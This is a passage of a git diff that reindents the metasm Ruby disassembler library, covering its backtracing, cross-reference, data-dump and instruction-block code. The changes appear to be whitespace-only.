DecodedInstruction + @decoded[a].block.each_to_samefunc(self) { |t| todo << normalize(t) } + end + end + + idx = @addrs_todo.index(@addrs_todo.find { |r, i, sfr| faddrlist.include? normalize(r) }) || -1 + @addrs_todo.insert(idx, [retaddr, instraddr, true]) + else + @addrs_todo << [retaddr, instraddr, true] + end + true + end + end + + # applies one decodedinstruction to an expression + def backtrace_emu_instr(di, expr) + @cpu.backtrace_emu(di, expr) + end + + # applies one subfunction to an expression + def backtrace_emu_subfunc(func, funcaddr, calladdr, expr, origin, maxdepth) + bind = func.get_backtrace_binding(self, funcaddr, calladdr, expr, origin, maxdepth) + Expression[expr.bind(bind).reduce] + end + + # applies a location binding + def backtrace_emu_blockup(addr, expr) + (ab = @address_binding[addr]) ? Expression[expr.bind(ab).reduce] : expr + end + + # static resolution of indirections + def resolve(expr) + binding = Expression[expr].expr_indirections.inject(@old_prog_binding) { |binding_, ind| + e, b = get_section_at(resolve(ind.target)) + return expr if not e + binding_.merge ind => Expression[ e.decode_imm("u#{8*ind.len}".to_sym, @cpu.endianness) ] + } + Expression[expr].bind(binding).reduce + end + + # returns true if the expression needs more backtrace + # it checks for the presence of a symbol (not :unknown), which means it depends on some register value + def need_backtrace(expr, terminals=[]) + return if expr.kind_of? ::Integer + !(expr.externals.grep(::Symbol) - [:unknown] - terminals).empty? + end + + # returns an array of expressions, or nil if expr needs more backtrace + # it needs more backtrace if expr.externals include a Symbol != :unknown (symbol == register value) + # if it need no more backtrace, expr's indirections are recursively resolved + # xrefs are created, and di args are updated (immediate => label) + # if type is :x, addrs_todo is updated, and if di starts a block, expr is checked to see if it may be a subfunction return value + # + # expr indirection are solved by first finding the value of the pointer, and then rebacktracking for write-type access + # detached is true if type is :x and from should not be set in addrs_todo (indirect call flow, eg external function callback) + # if the backtrace ends pre entrypoint, returns the value encoded in the raw binary + # XXX global variable (modified by another function), exported data, multithreaded app.. + # TODO handle memory aliasing (mov ebx, eax ; write [ebx] ; read [eax]) + # TODO trace expr evolution through backtrace, to modify immediates to an expr involving label names + # TODO mov [ptr], imm ; <...> ; jmp [ptr] => rename imm as loc_XX + # eg. mov eax, 42 ; add eax, 4 ; jmp eax => mov eax, some_label-4 + def backtrace_check_found(expr, di, origin, type, len, maxdepth, detached) + # only entrypoints or block starts called by a :saveip are checked for being a function + # want to execute [esp] from a block start + if type == :x and di and di == di.block.list.first and @cpu.backtrace_is_function_return(expr, @decoded[origin]) and ( + # which is an entrypoint.. + (not di.block.from_normal and not di.block.from_subfuncret) or + # ..or called from a saveip + (bool = false ; di.block.each_from_normal { |fn| bool = true if @decoded[fn] and @decoded[fn].opcode.props[:saveip] } ; bool)) + + # now we can mark the current address a function start + # the actual return address will be found later (we tell the caller to continue the backtrace) + addr = di.address + l = auto_label_at(addr, 'sub', 'loc', 'xref') + if not f = @function[addr] + f = @function[addr] = DecodedFunction.new + puts "found new function #{l} at #{Expression[addr]}" if $VERBOSE + end + f.finalized = false + + if @decoded[origin] + f.return_address ||= [] + f.return_address |= [origin] + @decoded[origin].add_comment "endsub #{l}" + # TODO add_xref (to update the comment on rename_label) + end + + f.backtracked_for |= @decoded[addr].block.backtracked_for.find_all { |btt| not btt.address } + end + + return if need_backtrace(expr) puts "backtrace #{type} found #{expr} from #{di} orig #{@decoded[origin] || Expression[origin] if origin}" if debug_backtrace - result = backtrace_value(expr, maxdepth) - # keep the ori pointer in the results to emulate volatile memory (eg decompiler prefers this) - result << expr if not type - result.uniq! - - # create xrefs/labels - result.each { |e| - backtrace_found_result(e, di, type, origin, len, detached) - } if type and origin - - result - end - - # returns an array of expressions with Indirections resolved (recursive with backtrace_indirection) - def backtrace_value(expr, maxdepth) - # array of expression with all indirections resolved - result = [Expression[expr.reduce]] - - # solve each indirection sequentially, clone expr for each value (aka cross-product) - result.first.expr_indirections.uniq.each { |i| - next_result = [] - backtrace_indirection(i, maxdepth).each { |rr| - next_result |= result.map { |e| Expression[e.bind(i => rr).reduce] } - } - result = next_result - } - - result.uniq - end - - # returns the array of values pointed by the indirection at its invocation (ind.origin) - # first resolves the pointer using backtrace_value, if it does not point in edata keep the original pointer - # then backtraces from ind.origin until it finds an :w xref origin - # if no :w access is found, returns the value encoded in the raw section data - # TODO handle unaligned (partial?) writes - def backtrace_indirection(ind, maxdepth) - if not ind.origin - puts "backtrace_ind: no origin for #{ind}" if $VERBOSE - return [ind] - end - - ret = [] - - decode_imm = lambda { |addr, len| - edata, foo = get_section_at(addr) - if edata - Expression[ edata.decode_imm("u#{8*len}".to_sym, @cpu.endianness) ] - else - Expression::Unknown - end - } - - # resolve pointers (they may include Indirections) - backtrace_value(ind.target, maxdepth).each { |ptr| - # find write xrefs to the ptr - refs = [] - each_xref(ptr, :w) { |x| - # XXX should be rebacktracked on new xref - next if not @decoded[x.origin] - refs |= [x.origin] - } if ptr != Expression::Unknown - - if refs.empty? - if get_section_at(ptr) - # static data, newer written : return encoded value - ret |= [decode_imm[ptr, ind.len]] - next - else - # unknown pointer : backtrace the indirection, hope it solves itself - initval = ind - end - else - # wait until we find a write xref, then backtrace the written value - initval = true - end - - # wait until we arrive at an xref'ing instruction, then backtrace the written value - backtrace_walk(initval, ind.origin, true, false, nil, maxdepth-1) { |ev, expr, h| - case ev - when :unknown_addr, :maxdepth, :stopaddr + result = backtrace_value(expr, maxdepth) + # keep the ori pointer in the results to emulate volatile memory (eg decompiler prefers this) + result << expr if not type + result.uniq! + + # create xrefs/labels + result.each { |e| + backtrace_found_result(e, di, type, origin, len, detached) + } if type and origin + + result + end + + # returns an array of expressions with Indirections resolved (recursive with backtrace_indirection) + def backtrace_value(expr, maxdepth) + # array of expression with all indirections resolved + result = [Expression[expr.reduce]] + + # solve each indirection sequentially, clone expr for each value (aka cross-product) + result.first.expr_indirections.uniq.each { |i| + next_result = [] + backtrace_indirection(i, maxdepth).each { |rr| + next_result |= result.map { |e| Expression[e.bind(i => rr).reduce] } + } + result = next_result + } + + result.uniq + end + + # returns the array of values pointed by the indirection at its invocation (ind.origin) + # first resolves the pointer using backtrace_value, if it does not point in edata keep the original pointer + # then backtraces from ind.origin until it finds an :w xref origin + # if no :w access is found, returns the value encoded in the raw section data + # TODO handle unaligned (partial?) writes + def backtrace_indirection(ind, maxdepth) + if not ind.origin + puts "backtrace_ind: no origin for #{ind}" if $VERBOSE + return [ind] + end + + ret = [] + + decode_imm = lambda { |addr, len| + edata, foo = get_section_at(addr) + if edata + Expression[ edata.decode_imm("u#{8*len}".to_sym, @cpu.endianness) ] + else + Expression::Unknown + end + } + + # resolve pointers (they may include Indirections) + backtrace_value(ind.target, maxdepth).each { |ptr| + # find write xrefs to the ptr + refs = [] + each_xref(ptr, :w) { |x| + # XXX should be rebacktracked on new xref + next if not @decoded[x.origin] + refs |= [x.origin] + } if ptr != Expression::Unknown + + if refs.empty? + if get_section_at(ptr) + # static data, newer written : return encoded value + ret |= [decode_imm[ptr, ind.len]] + next + else + # unknown pointer : backtrace the indirection, hope it solves itself + initval = ind + end + else + # wait until we find a write xref, then backtrace the written value + initval = true + end + + # wait until we arrive at an xref'ing instruction, then backtrace the written value + backtrace_walk(initval, ind.origin, true, false, nil, maxdepth-1) { |ev, expr, h| + case ev + when :unknown_addr, :maxdepth, :stopaddr puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtrace - ret |= [Expression::Unknown] - when :end - if not refs.empty? and (expr == true or not need_backtrace(expr)) - if expr == true - # found a path avoiding the :w xrefs, read the encoded initial value - ret |= [decode_imm[ptr, ind.len]] - else - bd = expr.expr_indirections.inject({}) { |h_, i| h_.update i => decode_imm[i.target, i.len] } - ret |= [Expression[expr.bind(bd).reduce]] - end - else - # unknown pointer, backtrace did not resolve... - ret |= [Expression::Unknown] - end - when :di - di = h[:di] - if expr == true - next true if not refs.include? di.address - # find the expression to backtrace: assume this is the :w xref from this di - writes = get_xrefs_rw(di) - writes = writes.find_all { |x_type, x_ptr, x_len| x_type == :w and x_len == ind.len } - if writes.length != 1 - puts "backtrace_ind: incompatible xrefs to #{ptr} from #{di}" if $DEBUG - ret |= [Expression::Unknown] - next false - end - expr = Indirection.new(writes[0][1], ind.len, di.address) - end - expr = backtrace_emu_instr(di, expr) - # may have new indirections... recall bt_value ? - #if not need_backtrace(expr) - if expr.expr_externals.all? { |e| @prog_binding[e] or @function[normalize(e)] } and expr.expr_indirections.empty? - ret |= backtrace_value(expr, maxdepth-1-h[:loopdetect].length) - false - else - expr - end - when :func - next true if expr == true # XXX - expr = backtrace_emu_subfunc(h[:func], h[:funcaddr], h[:addr], expr, ind.origin, maxdepth-h[:loopdetect].length) - #if not need_backtrace(expr) - if expr.expr_externals.all? { |e| @prog_binding[e] or @function[normalize(e)] } and expr.expr_indirections.empty? - ret |= backtrace_value(expr, maxdepth-1-h[:loopdetect].length) - false - else - expr - end - end - } - } - - ret - end - - # creates xrefs, updates addrs_todo, updates instr args - def backtrace_found_result(expr, di, type, origin, len, detached) - n = normalize(expr) - fallthrough = true if type == :x and o = di_at(origin) and not o.opcode.props[:stopexec] and n == o.block.list.last.next_addr # delay_slot - add_xref(n, Xref.new(type, origin, len)) if origin != :default and origin != Expression::Unknown and not fallthrough - unk = true if n == Expression::Unknown - - add_xref(n, Xref.new(:addr, di.address)) if di and di.address != origin and not unk - base = { nil => 'loc', 1 => 'byte', 2 => 'word', 4 => 'dword', 8 => 'qword' }[len] || 'xref' - base = 'sub' if @function[n] - n = Expression[auto_label_at(n, base, 'xref') || n] if not fallthrough - n = Expression[n] - - # update instr args - # TODO trace expression evolution to allow handling of - # mov eax, 28 ; add eax, 4 ; jmp eax - # => mov eax, (loc_xx-4) - if di and not unk # and di.address == origin - @cpu.replace_instr_arg_immediate(di.instruction, expr, n) - end - if @decoded[origin] and not unk - @cpu.backtrace_found_result(self, @decoded[origin], expr, type, len) - end - - # add comment - if type and @decoded[origin] # and not @decoded[origin].instruction.args.include? n - @decoded[origin].add_comment "#{type}#{len}:#{n}" if not fallthrough - end - - # check if target is a string - if di and type == :r and (len == 1 or len == 2) and s = get_section_at(n) - l = s[0].inv_export[s[0].ptr] - case len - when 1; str = s[0].read(32).unpack('C*') - when 2; str = s[0].read(64).unpack('v*') - end - str = str.inject('') { |str_, c| - case c - when 0x20..0x7e, ?\n, ?\r, ?\t; str_ << c - else break str_ - end - } - if str.length >= 4 - di.add_comment "#{'L' if len == 2}#{str.inspect}" - str = 'a_' + str.downcase.delete('^a-z0-9')[0, 12] - if str.length >= 8 and l[0, 5] == 'byte_' - rename_label(l, @program.new_label(str)) - end - end - end - - # XXX all this should be done in backtrace() { } - if type == :x and origin - if detached - o = @decoded[origin] ? origin : di ? di.address : nil # lib function callback have origin == libfuncname, so we must find a block somewhere else - origin = nil - @decoded[o].block.add_to_indirect(normalize(n)) if @decoded[o] and not unk - else - @decoded[origin].block.add_to_normal(normalize(n)) if @decoded[origin] and not unk - end - @addrs_todo << [n, origin] - end - end - - def to_s - a = '' - dump { |l| a << l << "\n" } - a - end - - # dumps the source, optionnally including data - # yields (defaults puts) each line - def dump(dump_data=true, &b) - b ||= lambda { |l| puts l } - @sections.sort_by { |addr, edata| addr.kind_of?(::Integer) ? addr : 0 }.each { |addr, edata| - addr = Expression[addr] if addr.kind_of? ::String - blockoffs = @decoded.values.grep(DecodedInstruction).map { |di| Expression[di.block.address, :-, addr].reduce if di.block_head? }.grep(::Integer).sort.reject { |o| o < 0 or o >= edata.length } - b[@program.dump_section_header(addr, edata)] - if not dump_data and edata.length > 16*1024 and blockoffs.empty? - b["// [#{edata.length} data bytes]"] - next - end - unk_off = 0 # last off displayed - # blocks.sort_by { |b| b.addr }.each { |b| - while unk_off < edata.length - if unk_off == blockoffs.first - blockoffs.shift - di = @decoded[addr+unk_off] - if unk_off != di.block.edata_ptr - b["\n// ------ overlap (#{unk_off-di.block.edata_ptr}) ------"] - elsif di.block.from_normal.kind_of? ::Array - b["\n"] - end - dump_block(di.block, &b) - unk_off += [di.block.bin_length, 1].max - unk_off = blockoffs.first if blockoffs.first and unk_off > blockoffs.first - else - next_off = blockoffs.first || edata.length - if dump_data or next_off - unk_off < 16 - unk_off = dump_data(addr + unk_off, edata, unk_off, &b) - else - b["// [#{next_off - unk_off} data bytes]"] - unk_off = next_off - end - end - end - } - end - - # dumps a block of decoded instructions - def dump_block(block, &b) - b ||= lambda { |l| puts l } - block = @decoded[block].block if @decoded[block] - dump_block_header(block, &b) - block.list.each { |di| b[di.show] } - end - - # shows the xrefs/labels at block start - def dump_block_header(block, &b) - b ||= lambda { |l| puts l } - xr = [] - each_xref(block.address) { |x| - case x.type - when :x; xr << Expression[x.origin] - when :r, :w; xr << "#{x.type}#{x.len}:#{Expression[x.origin]}" - end - } - if not xr.empty? - b["\n// Xrefs: #{xr[0, 8].join(' ')}#{' ...' if xr.length > 8}"] - end - if block.edata.inv_export[block.edata_ptr] - b["\n"] if xr.empty? - label_alias[block.address].each { |name| b["#{name}:"] } - end - if c = @comment[block.address] - c = c.join("\n") if c.kind_of? ::Array - c.each_line { |l| b["// #{l}"] } - end - end - - # dumps data/labels, honours @xrefs.len if exists - # dumps one line only - # stops on end of edata/@decoded/@xref - # returns the next offset to display - # TODO array-style data access - def dump_data(addr, edata, off, &b) - b ||= lambda { |l| puts l } - if l = edata.inv_export[off] - l_list = label_alias[addr].to_a.sort - l = l_list.pop || l - l_list.each { |ll| - b["#{ll}:"] - } - l = (l + ' ').ljust(16) - else l = '' - end - elemlen = 1 # size of each element we dump (db by default) - dumplen = -off % 16 # number of octets to dump - dumplen = 16 if dumplen == 0 - cmt = [] - each_xref(addr) { |x| - dumplen = elemlen = x.len if x.len == 2 or x.len == 4 - cmt << " #{x.type}#{x.len}:#{Expression[x.origin]}" - } - cmt = " ; @#{Expression[addr]}" + cmt.sort[0, 6].join - if r = edata.reloc[off] - dumplen = elemlen = r.type.to_s[1..-1].to_i/8 - end - dataspec = { 1 => 'db ', 2 => 'dw ', 4 => 'dd ', 8 => 'dq ' }[elemlen] - if not dataspec - dataspec = 'db ' - elemlen = 1 - end - l << dataspec - - # dup(?) - if off >= edata.data.length - dups = edata.virtsize - off - @prog_binding.each_value { |a| - tmp = Expression[a, :-, addr].reduce - dups = tmp if tmp.kind_of? ::Integer and tmp > 0 and tmp < dups - } - @xrefs.each_key { |a| - tmp = Expression[a, :-, addr].reduce - dups = tmp if tmp.kind_of? ::Integer and tmp > 0 and tmp < dups - } - dups /= elemlen - dups = 1 if dups < 1 - b[(l + "#{dups} dup(?)").ljust(48) << cmt] - return off + dups*elemlen - end - - vals = [] - edata.ptr = off - dups = dumplen/elemlen - elemsym = "u#{elemlen*8}".to_sym - while edata.ptr < edata.data.length - if vals.length > dups and vals.last != vals.first - # we have a dup(), unread the last element which is different - vals.pop - addr = Expression[addr, :-, elemlen].reduce - edata.ptr -= elemlen - break - end - break if vals.length == dups and vals.uniq.length > 1 - vals << edata.decode_imm(elemsym, @cpu.endianness) - addr += elemlen - if i = (1-elemlen..0).find { |i_| - t = addr + i_ - @xrefs[t] or @decoded[t] or edata.reloc[edata.ptr+i_] or edata.inv_export[edata.ptr+i_] - } - # i < 0 - edata.ptr += i - addr += i - break - end - break if edata.reloc[edata.ptr-elemlen] - end - - # line of repeated value => dup() - if vals.length > 8 and vals.uniq.length == 1 - b[(l << "#{vals.length} dup(#{Expression[vals.first]})").ljust(48) << cmt] - return edata.ptr - end - - # recognize strings - vals = vals.inject([]) { |vals_, value| - if (elemlen == 1 or elemlen == 2) - case value - when 0x20..0x7e, 0x0a, 0x0d - if vals_.last.kind_of? ::String; vals_.last << value ; vals_ - else vals_ << value.chr - end - else vals_ << value - end - else vals_ << value - end - } - - vals.map! { |value| - if value.kind_of? ::String - if value.length > 2 # or value == vals.first or value == vals.last # if there is no xref, don't care - value.inspect - else - value.unpack('C*').map { |c| Expression[c] } - end - else - Expression[value] - end - } - vals.flatten! - - b[(l << vals.join(', ')).ljust(48) << cmt] - - edata.ptr - end - - def decompiler - parse_c '' if not c_parser - @decompiler ||= Decompiler.new(self) - end - def decompiler=(dc) - @decompiler = dc - end - def decompile(*addr) - decompiler.decompile(*addr) - end - def decompile_func(addr) - decompiler.decompile_func(addr) - end - - # allows us to be AutoExe.loaded - def self.autoexe_load(f, &b) - d = load(f, &b) - d.program - end + ret |= [Expression::Unknown] + when :end + if not refs.empty? and (expr == true or not need_backtrace(expr)) + if expr == true + # found a path avoiding the :w xrefs, read the encoded initial value + ret |= [decode_imm[ptr, ind.len]] + else + bd = expr.expr_indirections.inject({}) { |h_, i| h_.update i => decode_imm[i.target, i.len] } + ret |= [Expression[expr.bind(bd).reduce]] + end + else + # unknown pointer, backtrace did not resolve... + ret |= [Expression::Unknown] + end + when :di + di = h[:di] + if expr == true + next true if not refs.include? di.address + # find the expression to backtrace: assume this is the :w xref from this di + writes = get_xrefs_rw(di) + writes = writes.find_all { |x_type, x_ptr, x_len| x_type == :w and x_len == ind.len } + if writes.length != 1 + puts "backtrace_ind: incompatible xrefs to #{ptr} from #{di}" if $DEBUG + ret |= [Expression::Unknown] + next false + end + expr = Indirection.new(writes[0][1], ind.len, di.address) + end + expr = backtrace_emu_instr(di, expr) + # may have new indirections... recall bt_value ? + #if not need_backtrace(expr) + if expr.expr_externals.all? { |e| @prog_binding[e] or @function[normalize(e)] } and expr.expr_indirections.empty? + ret |= backtrace_value(expr, maxdepth-1-h[:loopdetect].length) + false + else + expr + end + when :func + next true if expr == true # XXX + expr = backtrace_emu_subfunc(h[:func], h[:funcaddr], h[:addr], expr, ind.origin, maxdepth-h[:loopdetect].length) + #if not need_backtrace(expr) + if expr.expr_externals.all? { |e| @prog_binding[e] or @function[normalize(e)] } and expr.expr_indirections.empty? + ret |= backtrace_value(expr, maxdepth-1-h[:loopdetect].length) + false + else + expr + end + end + } + } + + ret + end + + # creates xrefs, updates addrs_todo, updates instr args + def backtrace_found_result(expr, di, type, origin, len, detached) + n = normalize(expr) + fallthrough = true if type == :x and o = di_at(origin) and not o.opcode.props[:stopexec] and n == o.block.list.last.next_addr # delay_slot + add_xref(n, Xref.new(type, origin, len)) if origin != :default and origin != Expression::Unknown and not fallthrough + unk = true if n == Expression::Unknown + + add_xref(n, Xref.new(:addr, di.address)) if di and di.address != origin and not unk + base = { nil => 'loc', 1 => 'byte', 2 => 'word', 4 => 'dword', 8 => 'qword' }[len] || 'xref' + base = 'sub' if @function[n] + n = Expression[auto_label_at(n, base, 'xref') || n] if not fallthrough + n = Expression[n] + + # update instr args + # TODO trace expression evolution to allow handling of + # mov eax, 28 ; add eax, 4 ; jmp eax + # => mov eax, (loc_xx-4) + if di and not unk # and di.address == origin + @cpu.replace_instr_arg_immediate(di.instruction, expr, n) + end + if @decoded[origin] and not unk + @cpu.backtrace_found_result(self, @decoded[origin], expr, type, len) + end + + # add comment + if type and @decoded[origin] # and not @decoded[origin].instruction.args.include? n + @decoded[origin].add_comment "#{type}#{len}:#{n}" if not fallthrough + end + + # check if target is a string + if di and type == :r and (len == 1 or len == 2) and s = get_section_at(n) + l = s[0].inv_export[s[0].ptr] + case len + when 1; str = s[0].read(32).unpack('C*') + when 2; str = s[0].read(64).unpack('v*') + end + str = str.inject('') { |str_, c| + case c + when 0x20..0x7e, ?\n, ?\r, ?\t; str_ << c + else break str_ + end + } + if str.length >= 4 + di.add_comment "#{'L' if len == 2}#{str.inspect}" + str = 'a_' + str.downcase.delete('^a-z0-9')[0, 12] + if str.length >= 8 and l[0, 5] == 'byte_' + rename_label(l, @program.new_label(str)) + end + end + end + + # XXX all this should be done in backtrace() { } + if type == :x and origin + if detached + o = @decoded[origin] ? origin : di ? di.address : nil # lib function callback have origin == libfuncname, so we must find a block somewhere else + origin = nil + @decoded[o].block.add_to_indirect(normalize(n)) if @decoded[o] and not unk + else + @decoded[origin].block.add_to_normal(normalize(n)) if @decoded[origin] and not unk + end + @addrs_todo << [n, origin] + end + end + + def to_s + a = '' + dump { |l| a << l << "\n" } + a + end + + # dumps the source, optionnally including data + # yields (defaults puts) each line + def dump(dump_data=true, &b) + b ||= lambda { |l| puts l } + @sections.sort_by { |addr, edata| addr.kind_of?(::Integer) ? addr : 0 }.each { |addr, edata| + addr = Expression[addr] if addr.kind_of? ::String + blockoffs = @decoded.values.grep(DecodedInstruction).map { |di| Expression[di.block.address, :-, addr].reduce if di.block_head? }.grep(::Integer).sort.reject { |o| o < 0 or o >= edata.length } + b[@program.dump_section_header(addr, edata)] + if not dump_data and edata.length > 16*1024 and blockoffs.empty? + b["// [#{edata.length} data bytes]"] + next + end + unk_off = 0 # last off displayed + # blocks.sort_by { |b| b.addr }.each { |b| + while unk_off < edata.length + if unk_off == blockoffs.first + blockoffs.shift + di = @decoded[addr+unk_off] + if unk_off != di.block.edata_ptr + b["\n// ------ overlap (#{unk_off-di.block.edata_ptr}) ------"] + elsif di.block.from_normal.kind_of? ::Array + b["\n"] + end + dump_block(di.block, &b) + unk_off += [di.block.bin_length, 1].max + unk_off = blockoffs.first if blockoffs.first and unk_off > blockoffs.first + else + next_off = blockoffs.first || edata.length + if dump_data or next_off - unk_off < 16 + unk_off = dump_data(addr + unk_off, edata, unk_off, &b) + else + b["// [#{next_off - unk_off} data bytes]"] + unk_off = next_off + end + end + end + } + end + + # dumps a block of decoded instructions + def dump_block(block, &b) + b ||= lambda { |l| puts l } + block = @decoded[block].block if @decoded[block] + dump_block_header(block, &b) + block.list.each { |di| b[di.show] } + end + + # shows the xrefs/labels at block start + def dump_block_header(block, &b) + b ||= lambda { |l| puts l } + xr = [] + each_xref(block.address) { |x| + case x.type + when :x; xr << Expression[x.origin] + when :r, :w; xr << "#{x.type}#{x.len}:#{Expression[x.origin]}" + end + } + if not xr.empty? + b["\n// Xrefs: #{xr[0, 8].join(' ')}#{' ...' if xr.length > 8}"] + end + if block.edata.inv_export[block.edata_ptr] + b["\n"] if xr.empty? + label_alias[block.address].each { |name| b["#{name}:"] } + end + if c = @comment[block.address] + c = c.join("\n") if c.kind_of? ::Array + c.each_line { |l| b["// #{l}"] } + end + end + + # dumps data/labels, honours @xrefs.len if exists + # dumps one line only + # stops on end of edata/@decoded/@xref + # returns the next offset to display + # TODO array-style data access + def dump_data(addr, edata, off, &b) + b ||= lambda { |l| puts l } + if l = edata.inv_export[off] + l_list = label_alias[addr].to_a.sort + l = l_list.pop || l + l_list.each { |ll| + b["#{ll}:"] + } + l = (l + ' ').ljust(16) + else l = '' + end + elemlen = 1 # size of each element we dump (db by default) + dumplen = -off % 16 # number of octets to dump + dumplen = 16 if dumplen == 0 + cmt = [] + each_xref(addr) { |x| + dumplen = elemlen = x.len if x.len == 2 or x.len == 4 + cmt << " #{x.type}#{x.len}:#{Expression[x.origin]}" + } + cmt = " ; @#{Expression[addr]}" + cmt.sort[0, 6].join + if r = edata.reloc[off] + dumplen = elemlen = r.type.to_s[1..-1].to_i/8 + end + dataspec = { 1 => 'db ', 2 => 'dw ', 4 => 'dd ', 8 => 'dq ' }[elemlen] + if not dataspec + dataspec = 'db ' + elemlen = 1 + end + l << dataspec + + # dup(?) + if off >= edata.data.length + dups = edata.virtsize - off + @prog_binding.each_value { |a| + tmp = Expression[a, :-, addr].reduce + dups = tmp if tmp.kind_of? ::Integer and tmp > 0 and tmp < dups + } + @xrefs.each_key { |a| + tmp = Expression[a, :-, addr].reduce + dups = tmp if tmp.kind_of? ::Integer and tmp > 0 and tmp < dups + } + dups /= elemlen + dups = 1 if dups < 1 + b[(l + "#{dups} dup(?)").ljust(48) << cmt] + return off + dups*elemlen + end + + vals = [] + edata.ptr = off + dups = dumplen/elemlen + elemsym = "u#{elemlen*8}".to_sym + while edata.ptr < edata.data.length + if vals.length > dups and vals.last != vals.first + # we have a dup(), unread the last element which is different + vals.pop + addr = Expression[addr, :-, elemlen].reduce + edata.ptr -= elemlen + break + end + break if vals.length == dups and vals.uniq.length > 1 + vals << edata.decode_imm(elemsym, @cpu.endianness) + addr += elemlen + if i = (1-elemlen..0).find { |i_| + t = addr + i_ + @xrefs[t] or @decoded[t] or edata.reloc[edata.ptr+i_] or edata.inv_export[edata.ptr+i_] + } + # i < 0 + edata.ptr += i + addr += i + break + end + break if edata.reloc[edata.ptr-elemlen] + end + + # line of repeated value => dup() + if vals.length > 8 and vals.uniq.length == 1 + b[(l << "#{vals.length} dup(#{Expression[vals.first]})").ljust(48) << cmt] + return edata.ptr + end + + # recognize strings + vals = vals.inject([]) { |vals_, value| + if (elemlen == 1 or elemlen == 2) + case value + when 0x20..0x7e, 0x0a, 0x0d + if vals_.last.kind_of? ::String; vals_.last << value ; vals_ + else vals_ << value.chr + end + else vals_ << value + end + else vals_ << value + end + } + + vals.map! { |value| + if value.kind_of? ::String + if value.length > 2 # or value == vals.first or value == vals.last # if there is no xref, don't care + value.inspect + else + value.unpack('C*').map { |c| Expression[c] } + end + else + Expression[value] + end + } + vals.flatten! + + b[(l << vals.join(', ')).ljust(48) << cmt] + + edata.ptr + end + + def decompiler + parse_c '' if not c_parser + @decompiler ||= Decompiler.new(self) + end + def decompiler=(dc) + @decompiler = dc + end + def decompile(*addr) + decompiler.decompile(*addr) + end + def decompile_func(addr) + decompiler.decompile_func(addr) + end + + # allows us to be AutoExe.loaded + def self.autoexe_load(f, &b) + d = load(f, &b) + d.program + end end end diff --git a/lib/metasm/metasm/disassemble_api.rb b/lib/metasm/metasm/disassemble_api.rb index 76f459f9b447d..01713e0b7e5da 100644 --- a/lib/metasm/metasm/disassemble_api.rb +++ b/lib/metasm/metasm/disassemble_api.rb @@ -7,1274 +7,1274 @@ module Metasm class InstructionBlock - # adds an address to the from_normal/from_subfuncret list - def add_from(addr, type=:normal) - send "add_from_#{type}", addr - end - def add_from_normal(addr) - @from_normal ||= [] - @from_normal |= [addr] - end - def add_from_subfuncret(addr) - @from_subfuncret ||= [] - @from_subfuncret |= [addr] - end - def add_from_indirect(addr) - @from_indirect ||= [] - @from_indirect |= [addr] - end - # iterates over every from address, yields [address, type in [:normal, :subfuncret, :indirect]] - def each_from - each_from_normal { |a| yield a, :normal } - each_from_subfuncret { |a| yield a, :subfuncret } - each_from_indirect { |a| yield a, :indirect } - end - def each_from_normal(&b) - @from_normal.each(&b) if from_normal - end - def each_from_subfuncret(&b) - @from_subfuncret.each(&b) if from_subfuncret - end - def each_from_indirect(&b) - @from_indirect.each(&b) if from_indirect - end - - def add_to(addr, type=:normal) - send "add_to_#{type}", addr - end - def add_to_normal(addr) - @to_normal ||= [] - @to_normal |= [addr] - end - def add_to_subfuncret(addr) - @to_subfuncret ||= [] - @to_subfuncret |= [addr] - end - def add_to_indirect(addr) - @to_indirect ||= [] - @to_indirect |= [addr] - end - def each_to - each_to_normal { |a| yield a, :normal } - each_to_subfuncret { |a| yield a, :subfuncret } - each_to_indirect { |a| yield a, :indirect } - end - def each_to_normal(&b) - @to_normal.each(&b) if to_normal - end - def each_to_subfuncret(&b) - @to_subfuncret.each(&b) if to_subfuncret - end - def each_to_indirect(&b) - @to_indirect.each(&b) if to_indirect - end - - # yields all from that are from the same function - def each_from_samefunc(dasm, &b) - return if dasm.function[address] - @from_subfuncret.each(&b) if from_subfuncret - @from_normal.each(&b) if from_normal - end - - # yields all from that are not in the same subfunction as this block - def each_from_otherfunc(dasm, &b) - @from_normal.each(&b) if from_normal and dasm.function[address] - @from_subfuncret.each(&b) if from_subfuncret and dasm.function[address] - @from_indirect.each(&b) if from_indirect - end - - # yields all to that are in the same subfunction as this block - def each_to_samefunc(dasm) - each_to { |to, type| - next if type != :normal and type != :subfuncret - to = dasm.normalize(to) - yield to if not dasm.function[to] - } - end - - # yields all to that are not in the same subfunction as this block - def each_to_otherfunc(dasm) - each_to { |to, type| - to = dasm.normalize(to) - yield to if type == :indirect or dasm.function[to] or not dasm.decoded[to] - } - end + # adds an address to the from_normal/from_subfuncret list + def add_from(addr, type=:normal) + send "add_from_#{type}", addr + end + def add_from_normal(addr) + @from_normal ||= [] + @from_normal |= [addr] + end + def add_from_subfuncret(addr) + @from_subfuncret ||= [] + @from_subfuncret |= [addr] + end + def add_from_indirect(addr) + @from_indirect ||= [] + @from_indirect |= [addr] + end + # iterates over every from address, yields [address, type in [:normal, :subfuncret, :indirect]] + def each_from + each_from_normal { |a| yield a, :normal } + each_from_subfuncret { |a| yield a, :subfuncret } + each_from_indirect { |a| yield a, :indirect } + end + def each_from_normal(&b) + @from_normal.each(&b) if from_normal + end + def each_from_subfuncret(&b) + @from_subfuncret.each(&b) if from_subfuncret + end + def each_from_indirect(&b) + @from_indirect.each(&b) if from_indirect + end + + def add_to(addr, type=:normal) + send "add_to_#{type}", addr + end + def add_to_normal(addr) + @to_normal ||= [] + @to_normal |= [addr] + end + def add_to_subfuncret(addr) + @to_subfuncret ||= [] + @to_subfuncret |= [addr] + end + def add_to_indirect(addr) + @to_indirect ||= [] + @to_indirect |= [addr] + end + def each_to + each_to_normal { |a| yield a, :normal } + each_to_subfuncret { |a| yield a, :subfuncret } + each_to_indirect { |a| yield a, :indirect } + end + def each_to_normal(&b) + @to_normal.each(&b) if to_normal + end + def each_to_subfuncret(&b) + @to_subfuncret.each(&b) if to_subfuncret + end + def each_to_indirect(&b) + @to_indirect.each(&b) if to_indirect + end + + # yields all from that are from the same function + def each_from_samefunc(dasm, &b) + return if dasm.function[address] + @from_subfuncret.each(&b) if from_subfuncret + @from_normal.each(&b) if from_normal + end + + # yields all from that are not in the same subfunction as this block + def each_from_otherfunc(dasm, &b) + @from_normal.each(&b) if from_normal and dasm.function[address] + @from_subfuncret.each(&b) if from_subfuncret and dasm.function[address] + @from_indirect.each(&b) if from_indirect + end + + # yields all to that are in the same subfunction as this block + def each_to_samefunc(dasm) + each_to { |to, type| + next if type != :normal and type != :subfuncret + to = 